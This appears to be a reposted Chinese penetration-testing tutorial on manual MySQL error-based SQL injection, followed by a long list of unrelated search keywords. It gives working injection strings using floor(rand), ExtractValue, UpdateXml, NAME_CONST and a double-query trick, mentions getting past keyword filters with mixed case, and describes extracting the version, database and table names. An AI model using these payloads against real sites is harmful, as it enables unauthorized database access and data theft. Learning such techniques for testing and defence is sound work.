SQL注入之mysql显错注入
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情
千家信息网最后更新 2025年12月02日SQL注入之mysql显错注入
在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通过ExtractValue报错:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通过UpdateXml报错:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通过NAME_CONST报错:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通过错误的双重查询:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

图2 显错注入点
此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

图3 获取数据库版本信息
获取数据库名,如图4所示。
图4 获取数据名
获取表名,如图5所示。
图5 获取表名
后续操作请参考文章《mysql手工注入》,这里不再进行累赘!
数据
数据库
如图
手工
版本
查询
信息
函数
脚本
成功
累赘
全程
关键
关键字
大小
实战
实际
情况
文章
结果
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
微软数据库的设计与实现
数据库原理及应用教程是谁写的丿
湖南hp服务器维修多少钱
持续筑牢网络安全屏障
ea获取指定时间数据库
如何查看阿里云服务器的类型
配置管理存储服务器
手机之间怎样转移数据库
联想服务器sr588驱动安装
数据库与客户端的对接
幼儿园网络安全儿童画
服务器3c证书
拓邦单片机软件开发工程师
山东平台软件开发公司有哪些
木叶传说数据库怎么修改
如何防止数据库篡改
如何提升华三网络技术能力
可以看到彩票数据库吗
浅谈中国国家网络安全局
哪个数据库是不属于全文数据库
软件开发属于什么职位类别
dba数据库加mysql
软件开发33岁了怎么办
鲁冰花伴奏软件开发
湖南网络安全培训服务
达梦8数据库转为达梦7
服务器对外开放域名解读
学校DNS 服务器作用
手机app软件开发什么价格
网页服务器关闭后台还能用吗